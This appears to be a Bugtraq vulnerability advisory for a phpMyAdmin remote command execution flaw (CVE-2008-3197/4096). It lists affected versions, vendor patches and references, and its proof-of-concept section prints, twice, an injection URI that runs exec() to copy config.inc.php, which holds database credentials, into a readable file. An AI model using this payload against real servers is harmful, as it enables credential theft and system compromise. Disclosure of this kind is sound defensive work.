phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
BID:31188
Info
phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
| Bugtraq ID: | 31188 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3197 CVE-2008-4096 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 15 2008 12:00AM |
| Updated: | Apr 13 2015 10:25PM |
| Credit: | Norman Hippert |
| Vulnerable: |
Typo3 phpMyAdmin 3.2 Typo3 phpMyAdmin 3.0.1 Typo3 phpMyAdmin 3.0 Typo3 phpMyAdmin 0.2.2 Turbolinux Appliance Server 3.0 x64 Turbolinux Appliance Server 3.0 S.u.S.E. openSUSE 11.1 S.u.S.E. openSUSE 11.0 S.u.S.E. openSUSE 10.3 phpMyAdmin phpMyAdmin 2.11.9 phpMyAdmin phpMyAdmin 2.11.8 phpMyAdmin phpMyAdmin 2.11.7 phpMyAdmin phpMyAdmin 2.11.5 phpMyAdmin phpMyAdmin 2.11.4 phpMyAdmin phpMyAdmin 2.11.1 phpMyAdmin phpMyAdmin 2.9.1 phpMyAdmin phpMyAdmin 2.9.2-rc1 phpMyAdmin phpMyAdmin 2.9.1.1 phpMyAdmin phpMyAdmin 2.11.8.1 phpMyAdmin phpMyAdmin 2.11.5.2 phpMyAdmin phpMyAdmin 2.11.5.1 phpMyAdmin phpMyAdmin 2.11.2.2 phpMyAdmin phpMyAdmin 2.11.2.1 phpMyAdmin phpMyAdmin 2.11.1.2 phpMyAdmin phpMyAdmin 2.11.1.1 phpMyAdmin phpMyAdmin 2.10.0.2 phpMyAdmin phpMyAdmin 2.10.0.1 MandrakeSoft Corporate Server 4.0 x86_64 MandrakeSoft Corporate Server 4.0 Gentoo Linux Debian Linux 4.0 sparc Debian Linux 4.0 s/390 Debian Linux 4.0 powerpc Debian Linux 4.0 mipsel Debian Linux 4.0 mips Debian Linux 4.0 m68k Debian Linux 4.0 ia-64 Debian Linux 4.0 ia-32 Debian Linux 4.0 hppa Debian Linux 4.0 arm Debian Linux 4.0 amd64 Debian Linux 4.0 alpha Debian Linux 4.0 |
| Not Vulnerable: |
Typo3 phpMyAdmin 3.3 phpMyAdmin phpMyAdmin 2.11.9 .1 |
Discussion
phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.
Successful attacks can compromise the affected application and possibly the underlying computer.
This issue affects versions prior to phpMyAdmin 2.11.9.1.
phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.
Successful attacks can compromise the affected application and possibly the underlying computer.
This issue affects versions prior to phpMyAdmin 2.11.9.1.
Exploit / POC
phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
The following example URI is available:
http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token]
The following example URI is available:
http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token]
Solution / Fix
phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
Solution:
Vendor updates are available. Please see the references for more information.
Debian Linux 4.0 arm
Debian Linux 4.0 powerpc
Debian Linux 4.0 m68k
Debian Linux 4.0 amd64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 alpha
MandrakeSoft Corporate Server 4.0
Debian Linux 4.0
Debian Linux 4.0 mipsel
Debian Linux 4.0 ia-64
Debian Linux 4.0 mips
Typo3 phpMyAdmin 0.2.2
Typo3 phpMyAdmin 3.0
Typo3 phpMyAdmin 3.0.1
Typo3 phpMyAdmin 3.2
MandrakeSoft Corporate Server 4.0 x86_64
Solution:
Vendor updates are available. Please see the references for more information.
Debian Linux 4.0 arm
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 powerpc
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 m68k
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 amd64
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 ia-32
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 hppa
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 sparc
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 s/390
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 alpha
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
MandrakeSoft Corporate Server 4.0
-
Mandriva phpMyAdmin-2.11.9.2-0.1.20060mlcs4.noarch.rpm
http://www.mandriva.com/en/download/
Debian Linux 4.0
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 mipsel
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 ia-64
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Debian Linux 4.0 mips
-
Debian phpmyadmin_2.9.1.1-8_all.deb
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2 .9.1.1-8_all.deb
Typo3 phpMyAdmin 0.2.2
-
Typo3 phpmyadmin_3.3.0.t3x
http://typo3.org/fileadmin/ter/p/h/phpmyadmin_3.3.0.t3x
Typo3 phpMyAdmin 3.0
-
Typo3 phpmyadmin_3.3.0.t3x
http://typo3.org/fileadmin/ter/p/h/phpmyadmin_3.3.0.t3x
Typo3 phpMyAdmin 3.0.1
-
Typo3 phpmyadmin_3.3.0.t3x
http://typo3.org/fileadmin/ter/p/h/phpmyadmin_3.3.0.t3x
Typo3 phpMyAdmin 3.2
-
Typo3 phpmyadmin_3.3.0.t3x
http://typo3.org/fileadmin/ter/p/h/phpmyadmin_3.3.0.t3x
MandrakeSoft Corporate Server 4.0 x86_64
-
Mandriva phpMyAdmin-2.11.9.2-0.1.20060mlcs4.noarch.rpm
http://www.mandriva.com/en/download/
References
phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability
References:
References:
- phpMyAdmin 2.11.9.1 Release Notes (phpMyAdmin)
- phpMyAdmin code execution (CVE request) (Thijs Kinkhorst)
- phpMyAdmin Code Execution Vulnerability (Norman Hippert)
- phpMyAdmin Homepage (phpMyAdmin)
- phpMyAdmin security announcement PMASA-2008-7 (phpMyAdmin)
- TYPO3 Security Bulletin TYPO3-20080916-1: Code execution vulnerability in extens (TYPO3)